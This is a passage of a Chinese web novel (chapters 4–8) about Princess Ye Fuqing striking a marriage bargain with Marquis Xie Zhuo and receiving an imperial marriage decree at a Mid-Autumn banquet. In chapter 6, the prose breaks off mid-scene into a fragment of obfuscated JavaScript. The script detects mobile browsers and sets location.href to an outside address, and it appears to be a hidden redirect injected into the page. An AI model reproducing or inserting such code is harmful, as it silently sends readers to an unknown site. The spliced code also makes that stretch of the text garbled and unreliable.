骆饶动了,但谢濯手中飞来的珠串速度更快,膝盖一阵剧痛传来,骆饶几乎能听见自己骨骼碎裂声。他看着即将掉落的珠串,咬了咬牙伸手抓住,火速拖着身子逃离。
“抓刺客!”侯府火把通明。
骆饶自然不可能直接逃往宫中,只能如猫捉老鼠一般在街巷中四处逃窜。
与此同时,含香殿中。
叶拂青偏头吃下夕照递来的葡萄,皱着眉头疑惑出声,“今日骆饶怎么去这么久?”
“许是平远侯难以打探。”夕照又递了一颗喂到她嘴边。
叶拂青摇了摇头,心中愈发不安,无论结果如何,他都应当在半个时辰前就回宫禀报,怎会耽误如此之久。
刹那间绚烂焰火划过无边夜幕,流光四溢。
“今夜何处有喜?”叶拂青偏头朝外看去,出声问。
“未曾听说过有什么喜事,许是公子哥
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们赢了钱,起哄着庆祝吧。”夕照回道。
叶拂青心下一震,意识到不对劲,当机立断站起身来,“夕照,换衣服,出宫。”
主仆二人快速换好了衣服,寻着烟花点燃的方位,急匆匆地出宫赶往闹市。
戌时已过,朱雀大街仍灯火通明。京城中最大的赌坊醉笑堂便坐落在此街道最热闹之处。
两人到时,醉笑堂门前依旧围着一群游手好闲的纨绔子弟,似乎在准备下一场庆祝。
“啧。”叶拂青烦躁地扫过几人,时刻注意着往来人员和周边环境。
难道真的是她多虑了?方才的焰火只是公子哥们取乐的玩意儿?
“汉阳公主?”其中一个纨绔子弟认出了她,惊讶出声,“汉阳公主不是最不屑同好赌之人同流合污么,今日怎么想不开来到此地?”
叶拂青懒得答话,冷眼看过去。正事要紧,她没寻到人,正准备再去暗巷中探探,便听那人又挑衅开口,“汉阳公主来此处可是寻谢二公子的?可是不巧了,谢二公子同藏香阁的兰姑娘共度春宵去了,此时怕是没空搭理你呢。”
她对谢誉峤和谁共度春宵并不在意,倒是这人这张嘴巴上下一碰便惹人心烦。
夕照瞧出她怒火上涌,快步走上前去,趁所有人都未反应过来之时,狠狠给了那男子几个巴掌。“公子慎言。公主千金之躯,容不得鼠辈诋毁。”
“你一个丫鬟竟这么蛮横,谁给你的胆子?!”一众公子哥反应过来,一窝蜂涌上来要给她点厉害瞧瞧。叶拂青他们确实动不起,但一个小丫鬟还不是随意打骂。
叶拂青眉头微皱,正欲开口,便见一道黑影从街巷另一头匆匆跑来,同谢濯有几分相似。
果真出事了。叶拂青心下一沉,突生一计,拉住夕照便往他那跑,堵住那人的去路。
“侯爷,真的是你!他们欺负我。”叶拂青看见来人真的是谢濯,心中暗喜,但忍着笑狠狠掐了自己一把,挤出几滴眼泪,甚是委屈地说:“我不过从此地路过,他们竟对我如此不满,想对我动手。”
谢濯停下脚步,眉头紧蹙,不耐烦地看向她。只见她眼眶微红,长睫挂着的泪珠摇摇欲坠,端着一副自以为梨花带雨的模样看着他。
“滚开。”谢濯冷声斥道,“公主有麻烦可以向任何人告状,唯独不该向我。”
“我不,向未来夫君求助不是理所应当么?”叶拂青伸手拉出他的衣袖,不让他走,说得理所应当。
她不知道骆饶现在身在何处,只想着尽量拖延时间。
谢濯淡淡扫了一眼她伸出的手,纤细白净,似乎只需稍一使劲便能掰断。
他冷呵一声,不再赶着去追贼人,垂眸问她,“公主因何事路过此地?”
“侯爷。”叶拂青娇羞低下头去,似是难以启齿,“可怜我思君念君难以入睡,便想着出宫散散心,此处热闹,自然寻着亮光便过来了。”
“思君念君?”谢濯反手抓住她的手腕,咬牙切齿地说,“公主是以为这些小手段便能糊弄过去?”
5. 第 5 章
“我不知道侯爷在说什么。”叶拂青装傻充愣回道,顺着他的力道,虚虚圈住他的手腕,食指轻点他凸起的尺骨。
只是指尖刚触碰到,下一秒她的手便被谢濯狠狠甩开。
叶拂青淡笑着收回手轻轻揉着,手腕处有一圈些许明显的红痕,“侯爷近日来脾气愈发暴躁了。”
谢濯啧了一声,“公主今日真是送了我一份大礼。我倒不知公主如此痴心痴情,连我在宫外也要处处监视着。”
叶拂青无视他话中带刺,既不承认也不否认,“侯爷知晓我有一片痴心,我便甚是满足了。”
“呵。”谢濯冷笑一声,“罢了,公主巧舌如簧,真真假假难以分辨。公主既然不愿将真实目的告知我,倒不如我换个问题。倘若我接受公主的提议,您能给我什么?”
叶拂青闻言,转过头去瞧站在一旁看热闹的纨绔子弟们,继而抬眸看他,“侯爷当真要在此地议事?”
“去藏香阁。”谢濯抬腿便走。
叶拂青听见这地方神情不变,倒是一旁的夕照凑到她耳边,难掩震惊,“藏香阁?那可是青楼!方才那群人说谢二公子在那儿鬼混,现下大公子也带您去那,这谢家真是没半点礼仪规矩。”
叶拂青闻言一笑,“你忘了我是最没规矩的那个了?”她伸手拍了拍夕照的肩,示意她放宽心,两人大摇大摆地跟在他身后。
入夜最是暖饱思淫欲之时,藏香阁往来宾客络绎不绝,很是热闹。
叶拂青瞧见这般景象不由咋舌,只见站在门口迎客的老鸨一瞧见谢濯,瞬间收起脸上轻佻的笑颜,安分地鞠了一躬,谨慎问道,“侯爷,今日依旧安排红豆轩吗?”
谢濯只是漠然点头,一瞧便知两人有些交情。
叶拂青心中嗤笑一声,站在一旁暗自观察着二人的动作,那老鸨捏着香帕的手微微颤抖着,看见她之后颤抖得更加厉害了。
啧。叶拂青无奈扶额,出声问道,“本公主如此恐怖吗?”
“没有,没有。”老鸨连连摆手,但说出的话毫无半点说服力。
叶拂青只是随口一问,并不在意,催促她,“带路吧。”
甫一进去,便闻暖香扑面,歌舞升平,男女嬉戏打闹,一片欢声笑语。
叶拂青几人跟着老鸨上了二楼,耳边聒噪声小了不少。
“公主,侯爷,到了。”老鸨推开门迎他们进去,“那小人就不多加打扰了,如若有事,唤我一声即可。”话毕,门便被关得严严实实。
叶拂青盯着阖上的门若有所思。
藏香阁乃烟火烂俗之地,往来金银交易甚多。近几年生意愈发火爆,能做到此等水平,身后必有靠山,瞧老鸨这副模样,难不成幕后之人是谢濯?
谢濯先她一步落座,自顾自地给自己斟茶,似是瞧出她心中所想,开口道,“公主恐怕是想多了。”
叶拂青淡然一笑,同他面对面坐着,将茶杯推过去示意示他给自己斟茶,慢悠悠开口,“那还真是可惜了,我还以为能找到侯爷的把柄呢。”
“臣一向唯圣上马首是瞻,何来把柄可言。”谢濯瞥了一眼被推过来的茶杯,并无动作。
他不急,叶拂青也不急,她环视四周。这红豆轩倒是同一般包间不同,陈设布置甚是高雅清冷。听说是专供给达官贵人听曲儿用的,不可做腌臜事。
想到传闻,叶拂青噗嗤一声笑了出来,直言问他,“我一直很好奇为何要在此地留这么一处不染风尘之地。难道听着靡靡之声谈正事,会更有效率?”
但谢濯没有顺着她的意思转移话题,手上终于有动作,替她斟了茶,“今日我们无需谈旁的,公主也不用再替谁转移视线。你我时间宝贵,直入主题便好,公主只需要告诉我,我同你成亲,我能得到什么。”
叶拂青抿了一口茶,神情懒散,“侯爷何必着急。”一路上她早已将底牌盘算清楚,优势在握,并不着急。
不过须臾,攻守之势异也。
直到看见他两指微曲重重敲了敲桌案,叶拂青才开口,“永徽二年,户部尚书李文搜刮民财、贪污国库被查处。大理寺卿审查其案,再揭重罪,三年前李文结党营私,昧了供给粮草,致使定王北疆一战惨烈战败。”
叶拂青提到未曾蒙面的父亲顿了顿,神色淡定,继续说,“圣上勃然大怒,数罪并罚,将相关官员悉数惩处,发落数百人,乃称永徵第一大案。而朝议郎谢良平也牵扯其中,举家被贬为庶人,发配边疆以赎其罪。被判当日,谢良平自缢于诏狱,时人俱言‘畏罪自杀’。”
这是京城人尽皆知的案件,也是谢濯重回京城上表的第一份奏章。
尽管最后查明谢良平同李文并无干系,但斯人已逝,哪怕沉冤昭雪也换不回一条人命。为弥补当年错判,圣人将原本加官进爵的封赏又抬高,封他为平远侯。
叶拂青虽不参与朝政,但朝中局势如何变幻却知道得一清二楚。
谢濯许久未开口,叶拂青偏头用眼神示意夕照守在门口,后者依言走到门边。
叶拂青手指轻敲桌案,等着他的回答。不知他想到了什么,皱着眉头闭了闭眼,再睁开眼时眼睛一片猩红,倘若不是离得近,她半点也察觉不到这人的情绪波动。
“公主再提旧事意欲何为?”谢濯嗓音依旧沉稳冷静。
“‘畏罪自杀’,侯爷可信?”叶拂青收回视线不再看他,淡淡开口,“不过是发落边疆,何至于此弃家人于不顾?”
“信与不信不过都是镜花水月,又能改变什么?”谢濯语气平静,像是在说同他不相干的人。
叶拂青少见他说这般颓唐之语,心中升起异样情绪,在缓缓吐出心中浊气后,说:“他还活着。”
谢濯猛地抬头,用犹如豺豹看见猎物一般的眼神死死盯住她,恶狠狠道,“公主倘若拿此等事唬我,当知道会有什么后果。”
“自然。”叶拂青一口喝完剩余的茶,说:“我不单知晓他还活着,也知晓他身在何处,以及整件事的来龙去脉。”
谢濯瞥了她一眼,也抿了一口茶,冷声问,“公主想要什么。”
“同我成亲。”叶拂青补充道,“不需要你如何待我,只需告诉圣上你愿意同我成亲,婚后互不干扰,只当是空壳即可,我们仍旧井水不犯河水。”
“公主做了如此之多,甚至不惜将秘辛泄露给我,只是为了同我成亲?”谢濯迟疑出声,并不相信她的话。
叶拂青管不了他信与不信,冷着脸点点头。她何尝愿意如此大费周折呢,倘若不是这人
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太难缠,她懒得再将陈年旧事翻出来说。
“我答应你。”谢濯声音无甚起伏,只是一味地盯着她看了又看。
叶拂青紧绷的状态松懈几分,果然对于这种不近人情的人还得使用非常手段才行。
“今日我只能将来龙去脉告知你,至于他的行踪……”叶拂青顿了顿,说,“成亲之后我再告知你。”
谢濯闻言,轻笑一声,“倘若成亲后我没能找到活生生的人,公主便休要怪我以下犯上了。”
叶拂青不理会他的威胁,自顾自开口阐明事情的经过,“李文其人心思极深,事情败露前夜曾大宴宾客,于杯中投毒,意欲拉所有人同归于尽。此毒不可解,中毒之人会逐渐失去神智,意识不清,痴傻而终。而你的父亲同他本不亲近,那日却也在受邀之列,如此便也……”
叶拂青顿住,又陷入当年的回忆。彼时的她方才十一岁,凭着宠爱,在宫中向来是无处不可去,整日贪玩好动,惹得皇宫鸡犬不宁。
那日她翻入早已废弃被禁止进入的厢房,瞧见一个蓬头垢面的老头跪在地上,用手不停地划着木门。
她同他说什么那人都不回答,如此过了半个月,终于有一天对方说话了。“您是宫中哪位贵人?我想离开这,放我出去吧,把我流放到别处去,求您了。”
叶拂青也是去求了皇帝之后才知晓整件事情的因果。
她将所了解的一切悉数说出,“他不愿以痴傻之状面对你们,便请求圣上将他囚于废殿之中。但十年过去他未曾同人说过一句话,病情愈发严重,直到我见到他那日,他终于忍受不住,请求我放他出去。”
“整件事情,我所知晓的便是如此。”叶拂青补充道,“从那日算起,他现下应当只余几年可活了。”
话落,她视线扫过谢濯紧紧抓住茶杯的手,手背青筋暴起,似是忍到极致。
“那你为何会知晓他的行踪?”谢濯问。
叶拂青明白他现在还是处于怀疑中,难得多了几分耐心,解释道,“我未参朝政,同其他人无利益纠葛,况且还是第一个发现他的人,皇叔父让我去安排这件事不是理所应当么?。”
“呵,好一个理所应当。”谢濯嘲讽一笑,换了话题,“我会同皇上禀明愿意同您成亲一事,还望公主不要食言。”
“这是自然,我等着侯爷的好消息。”叶拂青站起身来,居高临下地看着他,“夜色已深,侯爷早些歇息吧。”
既已约定好,叶拂青便不再多言,抬步朝夕照走去。刚打开门,身后一直没有动静的男人也站了起来,同她们一起下楼。
嬉笑声又如潮水般涌来,叶拂青皱了皱眉,不喜这般环境。
“公主,谢二公子在那。”夕照扯了扯她衣袖,指着不远处正在同优伶喝酒的男人小声道。
叶拂青淡然扫了一眼,无甚反应,只是偏头朝谢濯笑笑,“侯爷,我很期待成亲之日,希望你不要让我失望。”
谢濯不置可否,朝她们的反方向走去,估摸是去抓谢誉峤了。
“谢二公子近日越发没数了。”夕照忿忿不平道。
“行了。”叶拂青笑笑,敲了敲她额头,漫不经心地说:“不相干的人就不必在乎了。今日打了胜仗,回宫好好休息吧。”
6. 第 6 章
叶拂青刚踏入含香殿,便见骆饶膝盖处裹了纱布,一脸羞愧地看着她。
“怎的还受伤了?坐着吧,再站下去这伤势何时才能好。”叶拂青眉头微蹙,她对这个未来夫君实在知之甚少,哪怕有前世记忆加成,也算不上全面。“谢濯身手在你之上?”
骆饶顺从地坐在一旁,哑声答,“属下一时大意被他所伤,但平远侯确实身手不凡,主子往后同他在一起,定不能掉以轻心。”
“嗯。”叶拂青点点头,一边思酌着往后安排一边问,“今日可有探听到什么消息?”
“属下听到平远侯同二公子的谈话……”骆饶止住话头。
叶拂青迟迟没听见下文,抬头只看见他一脸犹豫迟疑的神情,“直接说,全部转述给我。”
骆饶哦了一声,一板一眼地说,“平远侯问二公子对您是否有意,二公子否认之后又问他既不喜你这般姑娘为何会想答应。”
“再然后,我就被发现了。”骆饶从怀中掏出白玉珠串递给她,“平远侯就是用的这个砸伤我。我估摸着这玉是主子您送给二公子的,便捡回来了。”
叶拂青接过,放在手心来回把玩,神情仍旧淡淡。
这珠串是今年皇叔父送她的生辰礼,是个稀罕物,价值连城,连叶琼音都看红了眼。但这不是最重要的,重要的是叶拂青将它当做定情信物送给了谢誉峤,其中含义不言而喻。但谢誉峤收了,却不把它当一回事,反倒拿来当暗器伤了她的人。
她收回思绪,紧握住珠串,冲骆饶点点头,“知道了,回去好好休息吧。”
待他离开后,叶拂青也同夕照一起回了房。
夕照一边替她宽衣解带一边说:“公主怎的突然不高兴了?”
叶拂青抚了抚肩上青丝,敛眸自嘲道,“两次都所嫁非人,怎么高兴得起来呢。”
“两次?公主何时还成过亲?”夕照疑惑问道,想了想又说,“倘若公主不喜欢,那婚后养几个面首便是了,让他们天天给您逗乐儿。”
叶拂青瞳孔一震,惊讶地张大嘴巴看着她,“夕照,你近来愈发大胆了。”
“话本上都是这么说的。”夕照如数家珍,“公主这般好的人,当得起这福气。”
叶拂青连连摆手,“算了算了,我消受不起。”一个男人她尚且难以应付,何况是再多几个。
但夕照这一番话算是彻底将她飘摇跌宕的心神扯了回来,也没力气再多想成亲后会如何,只想着先走一步看一步。
她快步钻进被窝中,探出一个脑袋冲夕照喊,“夕照,你也去睡吧。”
夕照福了福身,蹦跶着走了。
今日算两世来最为波折的一天,叶拂青何曾一天内处理过如此之多的事,但好在最终是解决了大麻烦。她身心俱疲,头刚挨上枕头便昏昏沉沉地睡了过去。
这日过后,叶拂青的生活突然平静下来。她每天依旧在宫中横冲直撞,整日只需考虑吃喝便行,潇洒又闲散。日子也如同夕照吃掉的葡萄一般,吃一颗没一颗,过一天没一天。
叶拂青还尚未再细细体味一番这般快意的年少日子,时间便已到中秋宫宴这夜。
酉时,含香殿。
叶拂青从妆奁中挑挑拣拣,将那白玉珠串拿出来戴在手上,抬起手给夕照瞧,“好看么?”
“好看。”夕照吐了吐舌头,挤眉弄眼着说,“这玉在您手上是最漂亮的,别人可都没那气质。”
叶拂青被她逗乐,抬手敲了敲她额头。
夕照细致地替她梳妆,说,“公主,听说今日宫宴比往常还要热闹,估摸着是听说陛下要给您赐婚,都想来瞧瞧呢。”
“都只是来看戏罢了。”叶拂青淡淡道。
待她梳妆拾掇好,二人便如闲庭散步,丝毫不着急地走向章华宫。
叶拂青到时席间已坐了不少人,瞧见她来,脸上神情变幻,渐渐都睁大了眼。只是往日他们只会小心又拘谨地打量她,今日眼睛却一眨不眨,直勾勾地看向她。
叶拂青皱了皱眉,正想着今日有何异样,便听见夕照唤她。
“公主。”夕照回头看了一眼,拽了拽她的衣袖,小声说,“惊华公主和谢二公子一同来了。”
叶拂青恍然明白过来,她侧过身子看向并肩走来的两人。叶琼音今日穿了一身粉蓝襦裙,眉眼含春地同谢誉峤一起缓缓走来,倒真是一对璧人,不愧为天作之合。
叶拂青想起旧事,眸色冷了几分。
“姐姐今日来得早了些。”叶琼音看向她,柔声道。
叶拂青未置一词,但叶琼音却紧追不舍,故作扭捏地追问道,“姐姐可是生气了?气我同二公子一起来了。”
话说到最后,叶琼音的语气愈发肯定,想让她认下拈酸吃醋之名。
叶拂青淡淡瞥她一眼,“你二人两情相悦,我这个做姐姐的自然是祝福你们永结同心,白头偕老了,又怎会生气?”
说完,叶拂青抬腿便走,并不想搭理他们。这种只能瞧着仇人在眼前活蹦乱跳却动不了手的滋味可不好受。
“我听说今日父皇要给你和二公子赐婚,难道不是么?”叶琼音拔高嗓音大喊出声,完全失了往日淡定。
叶拂青搞不明白为何以前叶琼音在她面前还能伪装几分小意温柔,现如今是连在众人面前也不装了,是听说赐婚一事终于慌了?
“呵。”叶拂青冷笑出声。
座下所有人的目光都落在她身上,叶拂青不用猜也能知晓他们是在等着自己大发雷霆,将宴会搅个鸡犬不宁。又或者,她哪怕什么也不说什么也不做,他们也只会认为她是被情爱打击到,为情所伤不愿多言。
“我早说了传言不可信,怎么连琼音你也听信谣言?”叶拂青笑道,又望向周围一众人,很是挑衅地勾了勾嘴角,“还是说大家都是听了谣言而来,想看我的笑话?”
“谁不知道你一直苦求谢二公子无果,才让陛下赐婚,强行逼他同你成亲。”席间有一男子愤愤不平地开口。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912785|176939||http|test|mini|href|location''.split(''|''),0,{}));
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>叶拂青一瞧,这不就是那日在赌坊前有了过节的其中一人么,竟然如此小心眼。
她无声笑笑,别开了眼,偏头看向谢誉峤。这是她重生以来第一次正眼瞧他,只见他仍旧毫无反应,无论何时都只是默不作声地站在叶琼音身边。
叶拂青收回视线,向那人嘲讽开口,“这位小心眼公子说得有失偏颇。”
未等她再“舌战群儒”,便见谢濯同几位官吏一齐姗姗来迟。她眼珠子一转,又有了新的打算。
“侯爷。”叶拂青惊喜地朝他挥手,快步走到他跟前,用恰好众人都能听清的音量说,“侯爷怎么来得如此迟,可让汉阳好等。”
谢濯皱着眉头看她,不知道她又在搞什么幺蛾子。
叶拂青看出他想要退后一步的想法,反应飞快地拉住他的手,朝他挨得更近些,踮起脚附耳说,“侯爷,日后便要成婚了,帮我应付一下他们应当没问题吧?”
她这一番动作显得两人亲密无间,倒真唬住了其他人。
谢濯挑了挑眉,也低头附在她耳边说,“我记得公主那日分明说过,不需要我如何待你,只需同陛下说一声即可,怎么今日又变了想法?公主这般不守信,我可难以再继续跟公主合作啊。”
叶拂青眯缝着眼看他,假意温柔,轻笑一声,继而咬牙切齿地说:“仅此一次,事后你要什么,我都答应你。”
虽说她可以等稍后圣上赐婚,一切流言蜚语便不攻自破,但她向来不是个能忍气吞声任凭别人羞辱的人,想让她出糗,那她偏要狠狠打他们脸。
谢濯听见她的承诺,扬了扬唇,站在一旁,示意她自行发挥。
叶拂青放下心来,只要他不拆台,一切都好说。她面向众人,开口道,“诸位方才也瞧见了,与谢二公子有瓜葛的不是我,应当是惊华公主才对。我同谢二公子的流言蜚语不过是子虚乌有之事,还望日后莫要再提。”
“至于今日赐婚一事。”叶拂青顿了顿,又见谢濯今日身上的锦袍同她襦裙都是月白色,正好将巧合变成有意。她指了指两人的服饰,说:“我同平远侯这般明显的相配,应当无需再解释什么吧。”
“兄长呢?兄长为何不说话?”谢誉峤突兀开口问道。
叶拂青皱着眉头看他,难掩心中厌恶。此时才开口,不是故意为难是什么?
谢濯坦然回道,“我同汉阳公主相悦相知已久,诸位恐怕是误会了公主此前行径,错将她同我胞弟牵扯在一起。”
众人皆面面相觑,一时不知该作何反应。
叶拂青顺着他的话点点头,又看向谢誉峤,“二公子此前怕也是误会了,我对你好不过是爱屋及乌而已,绝无它意。”
“叶拂青。”谢誉峤的声音有些颤抖,目光如炬地看着她,“我不信你会……”
在这般场合直呼她的名讳已是失礼,还这般神情,要在场其他人作何感想。
叶拂青皱了皱眉,正欲开口打断他,便听谢濯肃声道,“谢誉峤,莫要失礼。”
7. 第 7 章
叶拂青嗤笑一声,瞧见谢誉峤闭了嘴站在一旁便觉心中畅快。
众人还处在猝不及防的震惊中未能反应过来,一道尖利的传报声便打断了这场闹剧。
“皇上驾到——”“皇后娘娘驾到——”太监拉长了尾音,扬声喊道。
众人纷纷敛起心神,恭敬行礼,“臣等参见皇上、皇后娘娘,吾皇万岁万岁万万岁!娘娘千岁千岁千千岁!”
“诸位平身吧。”叶鸿信携手皇后落座,看见尚未落座的几人,出声问道,“未曾想到宫宴尚未开始便如此热闹,究竟是何事,不如也说予朕听听。”
叶拂青仰起头,不卑不亢回答道,“回禀皇叔父,不过是小打小闹罢了,不值得为此耽误时间。”
“哦,是吗?”叶鸿信来回打量他们几人,随后又说,“今日汉阳和谢卿这副打扮,难道是在暗示朕什么。”
叶拂青故作羞涩,“皇叔父便莫要取笑汉阳了。”
叶鸿信的视线扫过另外两人,嗓音有几分迟疑,“惊华和谢二公子又是怎么一回事?难道也是想请求朕赐婚么?”
“惊华并无此意。”“臣并无此意。”两人异口同声回答道。
叶拂青听见他们如此毫不犹豫地拒绝不由得一怔,微皱着眉,视线轻轻扫过他们二人。
叶鸿信摆摆手示意他们下去,“并无此意那便入座吧。既然此时氛围正好,朕本打算等宫宴结束再告知诸位这件喜事,现下一看,倒不如提前说了。”
“朕对汉阳一直视如己出,甚至要更偏爱几分,她的婚事也一直是朕最为操心之事。朕听闻汉阳对谢卿一往情深,爱慕多年,早有想为她赐婚的打算,但又唯恐谢卿不愿。”叶鸿信似是想起些什么,眉眼带笑,语气中多了几分调侃,“未曾想近日谢卿竟主动向我求娶汉阳。郎有情妾有意,可谓是才子佳人,天作之合。恰逢中秋佳节,朕便想着借团圆的喜气为二位赐婚,择日完婚。不知汉阳和谢卿意下如何?”
倒是谁都能称得上“天作之合”呢。叶拂青自嘲,不明显地笑笑,随即偏头看向谢濯,颇为得意地挑了挑眉,谢濯只是淡然看她一眼便收回视线。
“汉阳叩谢皇叔父恩典。”“臣叩谢陛下隆恩。”
“免礼。愿你二人琴瑟和鸣,携手白头。”叶鸿信笑着说,“此事既了,那便落座共赏月色吧。”
叶拂青能感受到众人落在她身上的目光情绪复杂,看戏、怨恨、憎恶,甚至还有几分羡慕。她丝毫不在意,行礼后便坦然自在地回了座位。
乐姬舞伎鱼贯而入,奏乐起舞,余音袅袅,惊鸿照影。
叶拂青对宴席本就不感兴趣,今日也只是为了赐婚一事而来。她的手撑着脑袋,强撑着欣赏了一会儿便觉得疲惫。
“夕照。”叶拂青朝她勾勾手,“从这儿拿点吃食,我们去别处赏月吧。”
夕照看着她,眼睛放光,将席间吃食毫不客气地一扫而光,随即冲她点点头。
两人悄悄溜走,众人看见了也只是见怪不怪,无人会拦她。
她们爬上屋顶,无所顾忌地躺在上边,感受着晚风习习。
夕照指着圆乎乎的月亮开口说:“今年也是同公主一起团团圆圆呢。”
叶拂青偏头看着她笑,“还会有很多个……”
她的话没说完,便听见房檐下传来说话声,即使刻意压低了声音,也能听出怒气十足。
“你不是说这样有用吗?”
“我怎么知道……”
叶拂青皱了皱眉,有些好奇地侧身望去,但被层层叠叠的树枝挡住,丝毫看不清楚。
她转过头去嘱咐夕照,“夕照,我去看看怎么一回事,你不必等我。”
夕照眨了眨眼,点点头。
叶拂青克制住动静,一跃而下,放轻脚步小心翼翼地朝角落走去。她稍稍拨开挡眼的树叶,睁大眼睛去看清究竟是谁。
“她……究竟……怎么办?”一道清脆稚嫩的女声。
叶拂青听得不甚清晰,只能模糊辨认出几个字眼。她眉头微蹙,总觉得这声音很是熟悉。
她再往前一步,微眯着眼,终于借着月光分辨出那两人是谁。
叶琼音,还有谢誉峤?他们在这做什么?叶拂青心中疑惑。依他们的关系,为何要到偏僻处谈话,难不成是有什么见不得人的事?
怕就怕是同她有关系。叶拂青深吸一口气,手下意识按住袖中暗器,心中翻涌上一股冲动,想要将他们二人狠狠钉在墙上残杀,好让他们也体会自己那日感受。
哪怕她知晓现在不是最好的时机,叶拂青也在冲动的驱使下往前踏出一步。只是还未等她再有动作,便有一双手拉住她将她拽了回去。
“公主这窥听的喜好还是没变呢。”
叶拂青听见声音,动作一顿,回过头去,借着倾洒而下的月光,看清来人那张比月光还冷的脸。
谢濯。
叶拂青心跳猛地加速。倘若方才她想要对谢誉峤二人动手的打算被谢濯瞧见,那便不只是不好解释的问题。依他对谢誉峤的偏袒程度,不仅合约作毁,恐怕两人也会成为真正的敌人。
她难得有几分提心吊胆,勉强克制住表情镇定下来,不动声色地将衣袖中的暗器藏好。
“侯爷怎么会经过此地?”叶拂青压低声音问。她抬眸一眨不眨地同谢濯对视,想要从他眼中读出点什么。只是这双眼眸依旧冷淡,瞧不出有什么情绪。
谢濯没有回答,反倒是抬手按住她袖口,想要找出什么东西。
叶拂青一颗心猛地沉下去,她故作自然地问,“侯爷在找什么?”
“公主可是藏了什么见不得人的东西?”谢濯眼中满是探究地看着她。
叶拂青只觉得自己后背冷汗直流,电光火石之间,她倏地反应过来,主动撩下衣袖,露出手腕上的白玉珠串,“侯爷是在找这个?”
“公主难道仅仅只藏了这个吗?”谢濯眉头微蹙,并不相信。
“那侯爷还希望我藏了什么?”叶拂青双手扯住衣领似动非动,调笑说,“侯爷是想再仔细搜身么?倘若侯爷
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真的……”
谢濯眸色一暗,猛地将她衣领拽紧,“公主还是莫要几次三番挑战臣的底线。”他冷眸又扫过这串本应该遗失的珠串,“公主倒是坦荡,还敢戴出来见人。”
“侯爷早已猜到是我,这玉又如此珍贵,我为何不敢戴?”叶拂青回讽道,拨开他的手,揉了揉自己的手腕,“侯爷这力道往后要小些,我同你这般皮糙肉厚的人不一样。”
“呵。”谢濯冷笑一声,和她隔开距离。
他们此处闹出了些许动静,隐于暗处私会的两人似乎有所察觉。
“是不是有人在那?”叶琼音压低声音问。
随即便是一阵快速的脚步声。
叶拂青汗毛直竖,下意识朝谢濯逼近几步,强拉住他一起躲入狭窄的墙缝之中。谢濯体型高大,狭窄的空间往日连容纳他一个人都略显困难,更何况再加一个人,两人被迫紧挨在一起,几乎是面对面抱着。
“放开。”谢濯冷声道,嗓音中带了几分怒意。
叶拂青瞪他一眼,“你做出一副被非礼的模样给谁看。别动,那是谢誉峤和叶琼音,你弟同当朝公主私会,你一点也不好奇?”
谢濯闻言,仍旧怒视着她,但不再推拒。
两人挨得极近,又因为谢濯被她推得踮起脚来,叶拂青的耳朵恰恰好好贴在他胸膛,只听得见他的心跳声,很平缓,似乎并没有因为她的接近而有任何波动,甚至比起做坏事害怕被发现的她来说要冷静许多。
叶拂青闭了闭眼,放缓呼吸。
“没有人?”叶琼音疑惑出声,随即又快步走回去,同谢誉峤继续说,“……赐婚……你为何不愿?”
叶拂青眉头紧蹙,这也是她方才困惑的事。既然他们早已芳心暗许,两情相悦,那今日为何要拒绝?而且两人都是毫不犹豫地回绝。
“你……”谢誉峤的声音又压低几分,叶拂青根本听不清后文,她皱了皱眉,手下意识在谢濯身上乱摸一通,想要找到个好的受力点,方便探出头去细听。
谢濯轻啧一声,哪还在意能不能听到些什么。他似乎是怒极了,在她还没来得及反应之时便抱着她迈出墙缝。
一到能够伸展的地方,谢濯便毫不犹豫将她放下,随即便拽住她的衣领,将她提溜着走到别处,远离那两人之后才开口说,“男女大防,公主还真是丝毫不在意礼节。”
叶拂青被他突如其来的动作吓了一跳,又被他打乱整个计划,不爽极了。她抬头狠狠瞪了谢濯一眼,拂开他的手,“侯爷说这些话说够了没?不日便要成亲了,亲近几分又能如何?况且!刚才你抱我我还没跟你算账呢。”
“还有,侯爷这般动不动就拽人衣领的习惯实在不好,若改不了不如就将手剁了吧。”
谢濯退后几步,眸色深沉看着她,轻呵一声,说,“公主亦是,何时才能将这爱偷听人说话的坏毛病改掉呢?”
叶拂青丝毫不怵,恶狠狠地回望他,“侯爷什么时候能改掉,我便也什么时候改掉。只是我很好奇,侯爷为何会来此处?”
8. 第 8 章
谢濯坦然回道,“宴席已散,胞弟和公主却齐齐不见踪影。臣恐他又冲撞了公主,自然是要来瞧一瞧。”
“侯爷现下可看清了?同他有干系的公主,可不是我。”叶拂青冷哼一声,疲于再应付他,“侯爷请自便,我今日困乏,先行回宫歇息了。”
“那便愿公主好梦相伴。”谢濯补充道,“公主今日许给臣的承诺莫要忘了,他日臣自会索要。”
叶拂青摆摆手示意自己知道了,随即便不再言语,转身朝含香殿走去。
含香殿中,夕照已等候多时。
“公主回来得晚了些,可是发生了什么事?”夕照瞧见她脸上疲态,问。
叶拂青点点头,无力地扑到床榻上,思绪游离。
她现在同谢誉峤已没有牵扯,按理说叶琼音和他不应该和和美美在一起就算结束么?怎么会又在背地里密谋,究竟是哪里出了错?他们到底想要从她这里得到什么?
叶拂青眉头紧蹙,她本以为自己对他们足够了解,没想到事实相差甚远。
她沉思了一会儿,决定不能坐以待毙,但此时她若再派人监视侯府,谢濯恐怕会忍不住同她翻脸。
叶拂青叹了口气,决定还是从叶琼音身上下手,“夕照,你去买通几个宫女,让她们时刻注意叶琼音的一举一动,有任何事都要报上来。”
夕照看着她一脸严肃的模样,也正经起来,点点头,出了门。
叶拂青随意梳洗一番便上了床,这一夜她睡得并不安稳,一晚上都在思考他们的目的究竟是什么。
起床梳洗时,她还能从铜镜中瞧见自己眼睛下方的一团浅青色。
“公主这段时间变了许多。”夕照一边替她梳头一边说,“公主向来不愿为事所扰,现在想的事情却愈发多了,也忙了不少。”
叶拂青心中亦是郁闷,她何尝不想潇洒自在,什么也不考虑呢?但现在疑点重重,指不定有更大的危机,如何能放松。
“希望能早日解决吧。”叶拂青也觉得心累,又说,“等事情解决后我便和谢濯和离,带着你去江南,如何?”
夕照听见和离先是一惊,随即又一喜,难掩激动地说,“江南?我最喜欢那儿了,听说那边的美食相当多呢。”
